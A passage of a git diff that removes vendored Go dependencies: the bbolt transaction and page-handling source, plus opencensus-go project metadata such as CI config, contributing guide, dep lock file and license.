uintptr(unsafe.Pointer(n)) + uintptr(n.pos), - Len: int(n.ksize), - Cap: int(n.ksize), - })) -} - -// value returns a byte slice of the node value. -func (n *leafPageElement) value() []byte { - return *(*[]byte)(unsafe.Pointer(&reflect.SliceHeader{ - Data: uintptr(unsafe.Pointer(n)) + uintptr(n.pos) + uintptr(n.ksize), - Len: int(n.vsize), - Cap: int(n.vsize), - })) -} - -// PageInfo represents human readable information about a page. -type PageInfo struct { - ID int - Type string - Count int - OverflowCount int -} - -type pgids []pgid - -func (s pgids) Len() int { return len(s) } -func (s pgids) Swap(i, j int) { s[i], s[j] = s[j], s[i] } -func (s pgids) Less(i, j int) bool { return s[i] < s[j] } - -// merge returns the sorted union of a and b. -func (a pgids) merge(b pgids) pgids { - // Return the opposite slice if one is nil. - if len(a) == 0 { - return b - } - if len(b) == 0 { - return a - } - merged := make(pgids, len(a)+len(b)) - mergepgids(merged, a, b) - return merged -} - -// mergepgids copies the sorted union of a and b into dst. -// If dst is too small, it panics. -func mergepgids(dst, a, b pgids) { - if len(dst) < len(a)+len(b) { - panic(fmt.Errorf("mergepgids bad len %d < %d + %d", len(dst), len(a), len(b))) - } - // Copy in the opposite slice if one is nil. - if len(a) == 0 { - copy(dst, b) - return - } - if len(b) == 0 { - copy(dst, a) - return - } - - // Merged will hold all elements from both lists. - merged := dst[:0] - - // Assign lead to the slice with a lower starting value, follow to the higher value. - lead, follow := a, b - if b[0] < a[0] { - lead, follow = b, a - } - - // Continue while there are elements in the lead. - for len(lead) > 0 { - // Merge largest prefix of lead that is ahead of follow[0]. - n := sort.Search(len(lead), func(i int) bool { return lead[i] > follow[0] }) - merged = append(merged, lead[:n]...) - if n >= len(lead) { - break - } - - // Swap lead and follow. - lead, follow = follow, lead[n:] - } - - // Append what's left in follow. - _ = append(merged, follow...) -} diff --git a/vendor/go.etcd.io/bbolt/tx.go b/vendor/go.etcd.io/bbolt/tx.go deleted file mode 100644 index 13937cdbf6..0000000000 --- a/vendor/go.etcd.io/bbolt/tx.go +++ /dev/null @@ -1,735 +0,0 @@ -package bbolt - -import ( - "fmt" - "io" - "os" - "reflect" - "sort" - "strings" - "time" - "unsafe" -) - -// txid represents the internal transaction identifier. -type txid uint64 - -// Tx represents a read-only or read/write transaction on the database. -// Read-only transactions can be used for retrieving values for keys and creating cursors. -// Read/write transactions can create and remove buckets and create and remove keys. -// -// IMPORTANT: You must commit or rollback transactions when you are done with -// them. Pages can not be reclaimed by the writer until no more transactions -// are using them. A long running read transaction can cause the database to -// quickly grow. -type Tx struct { - writable bool - managed bool - db *DB - meta *meta - root Bucket - pages map[pgid]*page - stats TxStats - commitHandlers []func() - - // WriteFlag specifies the flag for write-related methods like WriteTo(). - // Tx opens the database file with the specified flag to copy the data. - // - // By default, the flag is unset, which works well for mostly in-memory - // workloads. For databases that are much larger than available RAM, - // set the flag to syscall.O_DIRECT to avoid trashing the page cache. - WriteFlag int -} - -// init initializes the transaction. -func (tx *Tx) init(db *DB) { - tx.db = db - tx.pages = nil - - // Copy the meta page since it can be changed by the writer. - tx.meta = &meta{} - db.meta().copy(tx.meta) - - // Copy over the root bucket. - tx.root = newBucket(tx) - tx.root.bucket = &bucket{} - *tx.root.bucket = tx.meta.root - - // Increment the transaction id and add a page cache for writable transactions. - if tx.writable { - tx.pages = make(map[pgid]*page) - tx.meta.txid += txid(1) - } -} - -// ID returns the transaction id. -func (tx *Tx) ID() int { - return int(tx.meta.txid) -} - -// DB returns a reference to the database that created the transaction. -func (tx *Tx) DB() *DB { - return tx.db -} - -// Size returns current database size in bytes as seen by this transaction. -func (tx *Tx) Size() int64 { - return int64(tx.meta.pgid) * int64(tx.db.pageSize) -} - -// Writable returns whether the transaction can perform write operations. -func (tx *Tx) Writable() bool { - return tx.writable -} - -// Cursor creates a cursor associated with the root bucket. -// All items in the cursor will return a nil value because all root bucket keys point to buckets. -// The cursor is only valid as long as the transaction is open. -// Do not use a cursor after the transaction is closed. -func (tx *Tx) Cursor() *Cursor { - return tx.root.Cursor() -} - -// Stats retrieves a copy of the current transaction statistics. -func (tx *Tx) Stats() TxStats { - return tx.stats -} - -// Bucket retrieves a bucket by name. -// Returns nil if the bucket does not exist. -// The bucket instance is only valid for the lifetime of the transaction. -func (tx *Tx) Bucket(name []byte) *Bucket { - return tx.root.Bucket(name) -} - -// CreateBucket creates a new bucket. -// Returns an error if the bucket already exists, if the bucket name is blank, or if the bucket name is too long. -// The bucket instance is only valid for the lifetime of the transaction. -func (tx *Tx) CreateBucket(name []byte) (*Bucket, error) { - return tx.root.CreateBucket(name) -} - -// CreateBucketIfNotExists creates a new bucket if it doesn't already exist. -// Returns an error if the bucket name is blank, or if the bucket name is too long. -// The bucket instance is only valid for the lifetime of the transaction. -func (tx *Tx) CreateBucketIfNotExists(name []byte) (*Bucket, error) { - return tx.root.CreateBucketIfNotExists(name) -} - -// DeleteBucket deletes a bucket. -// Returns an error if the bucket cannot be found or if the key represents a non-bucket value. -func (tx *Tx) DeleteBucket(name []byte) error { - return tx.root.DeleteBucket(name) -} - -// ForEach executes a function for each bucket in the root. -// If the provided function returns an error then the iteration is stopped and -// the error is returned to the caller. -func (tx *Tx) ForEach(fn func(name []byte, b *Bucket) error) error { - return tx.root.ForEach(func(k, v []byte) error { - return fn(k, tx.root.Bucket(k)) - }) -} - -// OnCommit adds a handler function to be executed after the transaction successfully commits. -func (tx *Tx) OnCommit(fn func()) { - tx.commitHandlers = append(tx.commitHandlers, fn) -} - -// Commit writes all changes to disk and updates the meta page. -// Returns an error if a disk write error occurs, or if Commit is -// called on a read-only transaction. -func (tx *Tx) Commit() error { - _assert(!tx.managed, "managed tx commit not allowed") - if tx.db == nil { - return ErrTxClosed - } else if !tx.writable { - return ErrTxNotWritable - } - - // TODO(benbjohnson): Use vectorized I/O to write out dirty pages. - - // Rebalance nodes which have had deletions. - var startTime = time.Now() - tx.root.rebalance() - if tx.stats.Rebalance > 0 { - tx.stats.RebalanceTime += time.Since(startTime) - } - - // spill data onto dirty pages. - startTime = time.Now() - if err := tx.root.spill(); err != nil { - tx.rollback() - return err - } - tx.stats.SpillTime += time.Since(startTime) - - // Free the old root bucket. - tx.meta.root.root = tx.root.root - - // Free the old freelist because commit writes out a fresh freelist. - if tx.meta.freelist != pgidNoFreelist { - tx.db.freelist.free(tx.meta.txid, tx.db.page(tx.meta.freelist)) - } - - if !tx.db.NoFreelistSync { - err := tx.commitFreelist() - if err != nil { - return err - } - } else { - tx.meta.freelist = pgidNoFreelist - } - - // Write dirty pages to disk. - startTime = time.Now() - if err := tx.write(); err != nil { - tx.rollback() - return err - } - - // If strict mode is enabled then perform a consistency check. - // Only the first consistency error is reported in the panic. - if tx.db.StrictMode { - ch := tx.Check() - var errs []string - for { - err, ok := <-ch - if !ok { - break - } - errs = append(errs, err.Error()) - } - if len(errs) > 0 { - panic("check fail: " + strings.Join(errs, "\n")) - } - } - - // Write meta to disk. - if err := tx.writeMeta(); err != nil { - tx.rollback() - return err - } - tx.stats.WriteTime += time.Since(startTime) - - // Finalize the transaction. - tx.close() - - // Execute commit handlers now that the locks have been removed. - for _, fn := range tx.commitHandlers { - fn() - } - - return nil -} - -func (tx *Tx) commitFreelist() error { - // Allocate new pages for the new free list. This will overestimate - // the size of the freelist but not underestimate the size (which would be bad). - opgid := tx.meta.pgid - p, err := tx.allocate((tx.db.freelist.size() / tx.db.pageSize) + 1) - if err != nil { - tx.rollback() - return err - } - if err := tx.db.freelist.write(p); err != nil { - tx.rollback() - return err - } - tx.meta.freelist = p.id - // If the high water mark has moved up then attempt to grow the database. - if tx.meta.pgid > opgid { - if err := tx.db.grow(int(tx.meta.pgid+1) * tx.db.pageSize); err != nil { - tx.rollback() - return err - } - } - - return nil -} - -// Rollback closes the transaction and ignores all previous updates. Read-only -// transactions must be rolled back and not committed. -func (tx *Tx) Rollback() error { - _assert(!tx.managed, "managed tx rollback not allowed") - if tx.db == nil { - return ErrTxClosed - } - tx.nonPhysicalRollback() - return nil -} - -// nonPhysicalRollback is called when user calls Rollback directly, in this case we do not need to reload the free pages from disk. -func (tx *Tx) nonPhysicalRollback() { - if tx.db == nil { - return - } - if tx.writable { - tx.db.freelist.rollback(tx.meta.txid) - } - tx.close() -} - -// rollback needs to reload the free pages from disk in case some system error happens like fsync error. -func (tx *Tx) rollback() { - if tx.db == nil { - return - } - if tx.writable { - tx.db.freelist.rollback(tx.meta.txid) - if !tx.db.hasSyncedFreelist() { - // Reconstruct free page list by scanning the DB to get the whole free page list. - // Note: scaning the whole db is heavy if your db size is large in NoSyncFreeList mode. - tx.db.freelist.noSyncReload(tx.db.freepages()) - } else { - // Read free page list from freelist page. - tx.db.freelist.reload(tx.db.page(tx.db.meta().freelist)) - } - } - tx.close() -} - -func (tx *Tx) close() { - if tx.db == nil { - return - } - if tx.writable { - // Grab freelist stats. - var freelistFreeN = tx.db.freelist.free_count() - var freelistPendingN = tx.db.freelist.pending_count() - var freelistAlloc = tx.db.freelist.size() - - // Remove transaction ref & writer lock. - tx.db.rwtx = nil - tx.db.rwlock.Unlock() - - // Merge statistics. - tx.db.statlock.Lock() - tx.db.stats.FreePageN = freelistFreeN - tx.db.stats.PendingPageN = freelistPendingN - tx.db.stats.FreeAlloc = (freelistFreeN + freelistPendingN) * tx.db.pageSize - tx.db.stats.FreelistInuse = freelistAlloc - tx.db.stats.TxStats.add(&tx.stats) - tx.db.statlock.Unlock() - } else { - tx.db.removeTx(tx) - } - - // Clear all references. - tx.db = nil - tx.meta = nil - tx.root = Bucket{tx: tx} - tx.pages = nil -} - -// Copy writes the entire database to a writer. -// This function exists for backwards compatibility. -// -// Deprecated; Use WriteTo() instead. -func (tx *Tx) Copy(w io.Writer) error { - _, err := tx.WriteTo(w) - return err -} - -// WriteTo writes the entire database to a writer. -// If err == nil then exactly tx.Size() bytes will be written into the writer. -func (tx *Tx) WriteTo(w io.Writer) (n int64, err error) { - // Attempt to open reader with WriteFlag - f, err := tx.db.openFile(tx.db.path, os.O_RDONLY|tx.WriteFlag, 0) - if err != nil { - return 0, err - } - defer func() { - if cerr := f.Close(); err == nil { - err = cerr - } - }() - - // Generate a meta page. We use the same page data for both meta pages. - buf := make([]byte, tx.db.pageSize) - page := (*page)(unsafe.Pointer(&buf[0])) - page.flags = metaPageFlag - *page.meta() = *tx.meta - - // Write meta 0. - page.id = 0 - page.meta().checksum = page.meta().sum64() - nn, err := w.Write(buf) - n += int64(nn) - if err != nil { - return n, fmt.Errorf("meta 0 copy: %s", err) - } - - // Write meta 1 with a lower transaction id. - page.id = 1 - page.meta().txid -= 1 - page.meta().checksum = page.meta().sum64() - nn, err = w.Write(buf) - n += int64(nn) - if err != nil { - return n, fmt.Errorf("meta 1 copy: %s", err) - } - - // Move past the meta pages in the file. - if _, err := f.Seek(int64(tx.db.pageSize*2), io.SeekStart); err != nil { - return n, fmt.Errorf("seek: %s", err) - } - - // Copy data pages. - wn, err := io.CopyN(w, f, tx.Size()-int64(tx.db.pageSize*2)) - n += wn - if err != nil { - return n, err - } - - return n, nil -} - -// CopyFile copies the entire database to file at the given path. -// A reader transaction is maintained during the copy so it is safe to continue -// using the database while a copy is in progress. -func (tx *Tx) CopyFile(path string, mode os.FileMode) error { - f, err := tx.db.openFile(path, os.O_RDWR|os.O_CREATE|os.O_TRUNC, mode) - if err != nil { - return err - } - - err = tx.Copy(f) - if err != nil { - _ = f.Close() - return err - } - return f.Close() -} - -// Check performs several consistency checks on the database for this transaction. -// An error is returned if any inconsistency is found. -// -// It can be safely run concurrently on a writable transaction. However, this -// incurs a high cost for large databases and databases with a lot of subbuckets -// because of caching. This overhead can be removed if running on a read-only -// transaction, however, it is not safe to execute other writer transactions at -// the same time. -func (tx *Tx) Check() <-chan error { - ch := make(chan error) - go tx.check(ch) - return ch -} - -func (tx *Tx) check(ch chan error) { - // Force loading free list if opened in ReadOnly mode. - tx.db.loadFreelist() - - // Check if any pages are double freed. - freed := make(map[pgid]bool) - all := make([]pgid, tx.db.freelist.count()) - tx.db.freelist.copyall(all) - for _, id := range all { - if freed[id] { - ch <- fmt.Errorf("page %d: already freed", id) - } - freed[id] = true - } - - // Track every reachable page. - reachable := make(map[pgid]*page) - reachable[0] = tx.page(0) // meta0 - reachable[1] = tx.page(1) // meta1 - if tx.meta.freelist != pgidNoFreelist { - for i := uint32(0); i <= tx.page(tx.meta.freelist).overflow; i++ { - reachable[tx.meta.freelist+pgid(i)] = tx.page(tx.meta.freelist) - } - } - - // Recursively check buckets. - tx.checkBucket(&tx.root, reachable, freed, ch) - - // Ensure all pages below high water mark are either reachable or freed. - for i := pgid(0); i < tx.meta.pgid; i++ { - _, isReachable := reachable[i] - if !isReachable && !freed[i] { - ch <- fmt.Errorf("page %d: unreachable unfreed", int(i)) - } - } - - // Close the channel to signal completion. - close(ch) -} - -func (tx *Tx) checkBucket(b *Bucket, reachable map[pgid]*page, freed map[pgid]bool, ch chan error) { - // Ignore inline buckets. - if b.root == 0 { - return - } - - // Check every page used by this bucket. - b.tx.forEachPage(b.root, 0, func(p *page, _ int) { - if p.id > tx.meta.pgid { - ch <- fmt.Errorf("page %d: out of bounds: %d", int(p.id), int(b.tx.meta.pgid)) - } - - // Ensure each page is only referenced once. - for i := pgid(0); i <= pgid(p.overflow); i++ { - var id = p.id + i - if _, ok := reachable[id]; ok { - ch <- fmt.Errorf("page %d: multiple references", int(id)) - } - reachable[id] = p - } - - // We should only encounter un-freed leaf and branch pages. - if freed[p.id] { - ch <- fmt.Errorf("page %d: reachable freed", int(p.id)) - } else if (p.flags&branchPageFlag) == 0 && (p.flags&leafPageFlag) == 0 { - ch <- fmt.Errorf("page %d: invalid type: %s", int(p.id), p.typ()) - } - }) - - // Check each bucket within this bucket. - _ = b.ForEach(func(k, v []byte) error { - if child := b.Bucket(k); child != nil { - tx.checkBucket(child, reachable, freed, ch) - } - return nil - }) -} - -// allocate returns a contiguous block of memory starting at a given page. -func (tx *Tx) allocate(count int) (*page, error) { - p, err := tx.db.allocate(tx.meta.txid, count) - if err != nil { - return nil, err - } - - // Save to our page cache. - tx.pages[p.id] = p - - // Update statistics. - tx.stats.PageCount += count - tx.stats.PageAlloc += count * tx.db.pageSize - - return p, nil -} - -// write writes any dirty pages to disk. -func (tx *Tx) write() error { - // Sort pages by id. - pages := make(pages, 0, len(tx.pages)) - for _, p := range tx.pages { - pages = append(pages, p) - } - // Clear out page cache early. - tx.pages = make(map[pgid]*page) - sort.Sort(pages) - - // Write pages to disk in order. - for _, p := range pages { - size := (int(p.overflow) + 1) * tx.db.pageSize - offset := int64(p.id) * int64(tx.db.pageSize) - - // Write out page in "max allocation" sized chunks. - ptr := uintptr(unsafe.Pointer(p)) - for { - // Limit our write to our max allocation size. - sz := size - if sz > maxAllocSize-1 { - sz = maxAllocSize - 1 - } - - // Write chunk to disk. - buf := *(*[]byte)(unsafe.Pointer(&reflect.SliceHeader{ - Data: ptr, - Len: sz, - Cap: sz, - })) - if _, err := tx.db.ops.writeAt(buf, offset); err != nil { - return err - } - - // Update statistics. - tx.stats.Write++ - - // Exit inner for loop if we've written all the chunks. - size -= sz - if size == 0 { - break - } - - // Otherwise move offset forward and move pointer to next chunk. - offset += int64(sz) - ptr += uintptr(sz) - } - } - - // Ignore file sync if flag is set on DB. - if !tx.db.NoSync || IgnoreNoSync { - if err := fdatasync(tx.db); err != nil { - return err - } - } - - // Put small pages back to page pool. - for _, p := range pages { - // Ignore page sizes over 1 page. - // These are allocated using make() instead of the page pool. - if int(p.overflow) != 0 { - continue - } - - buf := *(*[]byte)(unsafe.Pointer(&reflect.SliceHeader{ - Data: uintptr(unsafe.Pointer(p)), - Len: tx.db.pageSize, - Cap: tx.db.pageSize, - })) - - // See https://go.googlesource.com/go/+/f03c9202c43e0abb130669852082117ca50aa9b1 - for i := range buf { - buf[i] = 0 - } - tx.db.pagePool.Put(buf) - } - - return nil -} - -// writeMeta writes the meta to the disk. -func (tx *Tx) writeMeta() error { - // Create a temporary buffer for the meta page. - buf := make([]byte, tx.db.pageSize) - p := tx.db.pageInBuffer(buf, 0) - tx.meta.write(p) - - // Write the meta page to file. - if _, err := tx.db.ops.writeAt(buf, int64(p.id)*int64(tx.db.pageSize)); err != nil { - return err - } - if !tx.db.NoSync || IgnoreNoSync { - if err := fdatasync(tx.db); err != nil { - return err - } - } - - // Update statistics. - tx.stats.Write++ - - return nil -} - -// page returns a reference to the page with a given id. -// If page has been written to then a temporary buffered page is returned. -func (tx *Tx) page(id pgid) *page { - // Check the dirty pages first. - if tx.pages != nil { - if p, ok := tx.pages[id]; ok { - return p - } - } - - // Otherwise return directly from the mmap. - return tx.db.page(id) -} - -// forEachPage iterates over every page within a given page and executes a function. -func (tx *Tx) forEachPage(pgid pgid, depth int, fn func(*page, int)) { - p := tx.page(pgid) - - // Execute function. - fn(p, depth) - - // Recursively loop over children. - if (p.flags & branchPageFlag) != 0 { - for i := 0; i < int(p.count); i++ { - elem := p.branchPageElement(uint16(i)) - tx.forEachPage(elem.pgid, depth+1, fn) - } - } -} - -// Page returns page information for a given page number. -// This is only safe for concurrent use when used by a writable transaction. -func (tx *Tx) Page(id int) (*PageInfo, error) { - if tx.db == nil { - return nil, ErrTxClosed - } else if pgid(id) >= tx.meta.pgid { - return nil, nil - } - - // Build the page info. - p := tx.db.page(pgid(id)) - info := &PageInfo{ - ID: id, - Count: int(p.count), - OverflowCount: int(p.overflow), - } - - // Determine the type (or if it's free). - if tx.db.freelist.freed(pgid(id)) { - info.Type = "free" - } else { - info.Type = p.typ() - } - - return info, nil -} - -// TxStats represents statistics about the actions performed by the transaction. -type TxStats struct { - // Page statistics. - PageCount int // number of page allocations - PageAlloc int // total bytes allocated - - // Cursor statistics. - CursorCount int // number of cursors created - - // Node statistics - NodeCount int // number of node allocations - NodeDeref int // number of node dereferences - - // Rebalance statistics. - Rebalance int // number of node rebalances - RebalanceTime time.Duration // total time spent rebalancing - - // Split/Spill statistics. - Split int // number of nodes split - Spill int // number of nodes spilled - SpillTime time.Duration // total time spent spilling - - // Write statistics. - Write int // number of writes performed - WriteTime time.Duration // total time spent writing to disk -} - -func (s *TxStats) add(other *TxStats) { - s.PageCount += other.PageCount - s.PageAlloc += other.PageAlloc - s.CursorCount += other.CursorCount - s.NodeCount += other.NodeCount - s.NodeDeref += other.NodeDeref - s.Rebalance += other.Rebalance - s.RebalanceTime += other.RebalanceTime - s.Split += other.Split - s.Spill += other.Spill - s.SpillTime += other.SpillTime - s.Write += other.Write - s.WriteTime += other.WriteTime -} - -// Sub calculates and returns the difference between two sets of transaction stats. -// This is useful when obtaining stats at two different points and time and -// you need the performance counters that occurred within that time span. -func (s *TxStats) Sub(other *TxStats) TxStats { - var diff TxStats - diff.PageCount = s.PageCount - other.PageCount - diff.PageAlloc = s.PageAlloc - other.PageAlloc - diff.CursorCount = s.CursorCount - other.CursorCount - diff.NodeCount = s.NodeCount - other.NodeCount - diff.NodeDeref = s.NodeDeref - other.NodeDeref - diff.Rebalance = s.Rebalance - other.Rebalance - diff.RebalanceTime = s.RebalanceTime - other.RebalanceTime - diff.Split = s.Split - other.Split - diff.Spill = s.Spill - other.Spill - diff.SpillTime = s.SpillTime - other.SpillTime - diff.Write = s.Write - other.Write - diff.WriteTime = s.WriteTime - other.WriteTime - return diff -} diff --git a/vendor/go.opencensus.io/.gitignore b/vendor/go.opencensus.io/.gitignore deleted file mode 100644 index 74a6db472e..0000000000 --- a/vendor/go.opencensus.io/.gitignore +++ /dev/null @@ -1,9 +0,0 @@ -/.idea/ - -# go.opencensus.io/exporter/aws -/exporter/aws/ - -# Exclude vendor, use dep ensure after checkout: -/vendor/github.com/ -/vendor/golang.org/ -/vendor/google.golang.org/ diff --git a/vendor/go.opencensus.io/.travis.yml b/vendor/go.opencensus.io/.travis.yml deleted file mode 100644 index bd6b66ee83..0000000000 --- a/vendor/go.opencensus.io/.travis.yml +++ /dev/null @@ -1,17 +0,0 @@ -language: go - -go_import_path: go.opencensus.io - -go: - - 1.11.x - -env: - global: - GO111MODULE=on - -before_script: - - make install-tools - -script: - - make travis-ci - - go run internal/check/version.go # TODO move this to makefile diff --git a/vendor/go.opencensus.io/AUTHORS b/vendor/go.opencensus.io/AUTHORS deleted file mode 100644 index e491a9e7f7..0000000000 --- a/vendor/go.opencensus.io/AUTHORS +++ /dev/null @@ -1 +0,0 @@ -Google Inc. diff --git a/vendor/go.opencensus.io/CONTRIBUTING.md b/vendor/go.opencensus.io/CONTRIBUTING.md deleted file mode 100644 index 1ba3962c8b..0000000000 --- a/vendor/go.opencensus.io/CONTRIBUTING.md +++ /dev/null @@ -1,63 +0,0 @@ -# How to contribute - -We'd love to accept your patches and contributions to this project. There are -just a few small guidelines you need to follow. - -## Contributor License Agreement - -Contributions to this project must be accompanied by a Contributor License -Agreement. You (or your employer) retain the copyright to your contribution, -this simply gives us permission to use and redistribute your contributions as -part of the project. Head over to to see -your current agreements on file or to sign a new one. - -You generally only need to submit a CLA once, so if you've already submitted one -(even if it was for a different project), you probably don't need to do it -again. - -## Code reviews - -All submissions, including submissions by project members, require review. We -use GitHub pull requests for this purpose. Consult [GitHub Help] for more -information on using pull requests. - -[GitHub Help]: https://help.github.com/articles/about-pull-requests/ - -## Instructions - -Fork the repo, checkout the upstream repo to your GOPATH by: - -``` -$ go get -d go.opencensus.io -``` - -Add your fork as an origin: - -``` -cd $(go env GOPATH)/src/go.opencensus.io -git remote add fork git@github.com:YOUR_GITHUB_USERNAME/opencensus-go.git -``` - -Run tests: - -``` -$ make install-tools # Only first time. -$ make -``` - -Checkout a new branch, make modifications and push the branch to your fork: - -``` -$ git checkout -b feature -# edit files -$ git commit -$ git push fork feature -``` - -Open a pull request against the main opencensus-go repo. - -## General Notes -This project uses Appveyor and Travis for CI. - -The dependencies are managed with `go mod` if you work with the sources under your -`$GOPATH` you need to set the environment variable `GO111MODULE=on`. \ No newline at end of file diff --git a/vendor/go.opencensus.io/Gopkg.lock b/vendor/go.opencensus.io/Gopkg.lock deleted file mode 100644 index 3be12ac8f2..0000000000 --- a/vendor/go.opencensus.io/Gopkg.lock +++ /dev/null @@ -1,231 +0,0 @@ -# This file is autogenerated, do not edit; changes may be undone by the next 'dep ensure'. - - -[[projects]] - branch = "master" - digest = "1:eee9386329f4fcdf8d6c0def0c9771b634bdd5ba460d888aa98c17d59b37a76c" - name = "git.apache.org/thrift.git" - packages = ["lib/go/thrift"] - pruneopts = "UT" - revision = "6e67faa92827ece022380b211c2caaadd6145bf5" - source = "github.com/apache/thrift" - -[[projects]] - branch = "master" - digest = "1:d6afaeed1502aa28e80a4ed0981d570ad91b2579193404256ce672ed0a609e0d" - name = "github.com/beorn7/perks" - packages = ["quantile"] - pruneopts = "UT" - revision = "3a771d992973f24aa725d07868b467d1ddfceafb" - -[[projects]] - digest = "1:4c0989ca0bcd10799064318923b9bc2db6b4d6338dd75f3f2d86c3511aaaf5cf" - name = "github.com/golang/protobuf" - packages = [ - "proto", - "ptypes", - "ptypes/any", - "ptypes/duration", - "ptypes/timestamp", - ] - pruneopts = "UT" - revision = "aa810b61a9c79d51363740d207bb46cf8e620ed5" - version = "v1.2.0" - -[[projects]] - digest = "1:ff5ebae34cfbf047d505ee150de27e60570e8c394b3b8fdbb720ff6ac71985fc" - name = "github.com/matttproud/golang_protobuf_extensions" - packages = ["pbutil"] - pruneopts = "UT" - revision = "c12348ce28de40eed0136aa2b644d0ee0650e56c" - version = "v1.0.1" - -[[projects]] - digest = "1:824c8f3aa4c5f23928fa84ebbd5ed2e9443b3f0cb958a40c1f2fbed5cf5e64b1" - name = "github.com/openzipkin/zipkin-go" - packages = [ - ".", - "idgenerator", - "model", - "propagation", - "reporter", - "reporter/http", - ] - pruneopts = "UT" - revision = "d455a5674050831c1e187644faa4046d653433c2" - version = "v0.1.1" - -[[projects]] - digest = "1:d14a5f4bfecf017cb780bdde1b6483e5deb87e12c332544d2c430eda58734bcb" - name = "github.com/prometheus/client_golang" - packages = [ - "prometheus", - "prometheus/promhttp", - ] - pruneopts = "UT" - revision = "c5b7fccd204277076155f10851dad72b76a49317" - version = "v0.8.0" - -[[projects]] - branch = "master" - digest = "1:2d5cd61daa5565187e1d96bae64dbbc6080dacf741448e9629c64fd93203b0d4" - name = "github.com/prometheus/client_model" - packages = ["go"] - pruneopts = "UT" - revision = "5c3871d89910bfb32f5fcab2aa4b9ec68e65a99f" - -[[projects]] - branch = "master" - digest = "1:63b68062b8968092eb86bedc4e68894bd096ea6b24920faca8b9dcf451f54bb5" - name = "github.com/prometheus/common" - packages = [ - "expfmt", - "internal/bitbucket.org/ww/goautoneg", - "model", - ] - pruneopts = "UT" - revision = "c7de2306084e37d54b8be01f3541a8464345e9a5" - -[[projects]] - branch = "master" - digest = "1:8c49953a1414305f2ff5465147ee576dd705487c35b15918fcd4efdc0cb7a290" - name = "github.com/prometheus/procfs" - packages = [ - ".", - "internal/util", - "nfs", - "xfs", - ] - pruneopts = "UT" - revision = "05ee40e3a273f7245e8777337fc7b46e533a9a92" - -[[projects]] - branch = "master" - digest = "1:deafe4ab271911fec7de5b693d7faae3f38796d9eb8622e2b9e7df42bb3dfea9" - name = "golang.org/x/net" - packages = [ - "context", - "http/httpguts", - "http2", - "http2/hpack", - "idna", - "internal/timeseries", - "trace", - ] - pruneopts = "UT" - revision = "922f4815f713f213882e8ef45e0d315b164d705c" - -[[projects]] - branch = "master" - digest = "1:e0140c0c868c6e0f01c0380865194592c011fe521d6e12d78bfd33e756fe018a" - name = "golang.org/x/sync" - packages = ["semaphore"] - pruneopts = "UT" - revision = "1d60e4601c6fd243af51cc01ddf169918a5407ca" - -[[projects]] - branch = "master" - digest = "1:a3f00ac457c955fe86a41e1495e8f4c54cb5399d609374c5cc26aa7d72e542c8" - name = "golang.org/x/sys" - packages = ["unix"] - pruneopts = "UT" - revision = "3b58ed4ad3395d483fc92d5d14123ce2c3581fec" - -[[projects]] - digest = "1:a2ab62866c75542dd18d2b069fec854577a20211d7c0ea6ae746072a1dccdd18" - name = "golang.org/x/text" - packages = [ - "collate", - "collate/build", - "internal/colltab", - "internal/gen", - "internal/tag", - "internal/triegen", - "internal/ucd", - "language", - "secure/bidirule", - "transform", - "unicode/bidi", - "unicode/cldr", - "unicode/norm", - "unicode/rangetable", - ] - pruneopts = "UT" - revision = "f21a4dfb5e38f5895301dc265a8def02365cc3d0" - version = "v0.3.0" - -[[projects]] - branch = "master" - digest = "1:c0c17c94fe8bc1ab34e7f586a4a8b788c5e1f4f9f750ff23395b8b2f5a523530" - name = "google.golang.org/api" - packages = ["support/bundler"] - pruneopts = "UT" - revision = "e21acd801f91da814261b938941d193bb036441a" - -[[projects]] - branch = "master" - digest = "1:077c1c599507b3b3e9156d17d36e1e61928ee9b53a5b420f10f28ebd4a0b275c" - name = "google.golang.org/genproto" - packages = ["googleapis/rpc/status"] - pruneopts = "UT" - revision = "c66870c02cf823ceb633bcd05be3c7cda29976f4" - -[[projects]] - digest = "1:3dd7996ce6bf52dec6a2f69fa43e7c4cefea1d4dfa3c8ab7a5f8a9f7434e239d" - name = "google.golang.org/grpc" - packages = [ - ".", - "balancer", - "balancer/base", - "balancer/roundrobin", - "codes", - "connectivity", - "credentials", - "encoding", - "encoding/proto", - "grpclog", - "internal", - "internal/backoff", - "internal/channelz", - "internal/envconfig", - "internal/grpcrand", - "internal/transport", - "keepalive", - "metadata", - "naming", - "peer", - "resolver", - "resolver/dns", - "resolver/passthrough", - "stats", - "status", - "tap", - ] - pruneopts = "UT" - revision = "32fb0ac620c32ba40a4626ddf94d90d12cce3455" - version = "v1.14.0" - -[solve-meta] - analyzer-name = "dep" - analyzer-version = 1 - input-imports = [ - "git.apache.org/thrift.git/lib/go/thrift", - "github.com/golang/protobuf/proto", - "github.com/openzipkin/zipkin-go", - "github.com/openzipkin/zipkin-go/model", - "github.com/openzipkin/zipkin-go/reporter", - "github.com/openzipkin/zipkin-go/reporter/http", - "github.com/prometheus/client_golang/prometheus", - "github.com/prometheus/client_golang/prometheus/promhttp", - "golang.org/x/net/context", - "golang.org/x/net/http2", - "google.golang.org/api/support/bundler", - "google.golang.org/grpc", - "google.golang.org/grpc/codes", - "google.golang.org/grpc/grpclog", - "google.golang.org/grpc/metadata", - "google.golang.org/grpc/stats", - "google.golang.org/grpc/status", - ] - solver-name = "gps-cdcl" - solver-version = 1 diff --git a/vendor/go.opencensus.io/Gopkg.toml b/vendor/go.opencensus.io/Gopkg.toml deleted file mode 100644 index a9f3cd68eb..0000000000 --- a/vendor/go.opencensus.io/Gopkg.toml +++ /dev/null @@ -1,36 +0,0 @@ -# For v0.x.y dependencies, prefer adding a constraints of the form: version=">= 0.x.y" -# to avoid locking to a particular minor version which can cause dep to not be -# able to find a satisfying dependency graph. - -[[constraint]] - branch = "master" - name = "git.apache.org/thrift.git" - source = "github.com/apache/thrift" - -[[constraint]] - name = "github.com/golang/protobuf" - version = "1.0.0" - -[[constraint]] - name = "github.com/openzipkin/zipkin-go" - version = ">=0.1.0" - -[[constraint]] - name = "github.com/prometheus/client_golang" - version = ">=0.8.0" - -[[constraint]] - branch = "master" - name = "golang.org/x/net" - -[[constraint]] - branch = "master" - name = "google.golang.org/api" - -[[constraint]] - name = "google.golang.org/grpc" - version = "1.11.3" - -[prune] - go-tests = true - unused-packages = true diff --git a/vendor/go.opencensus.io/LICENSE b/vendor/go.opencensus.io/LICENSE deleted file mode 100644 index 7a4a3ea242..0000000000 --- a/vendor/go.opencensus.io/LICENSE +++ /dev/null @@ -1,202 +0,0 @@ - - Apache License - Version 2.0, January 2004 - http://www.apache.org/licenses/ - - TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION - - 1. 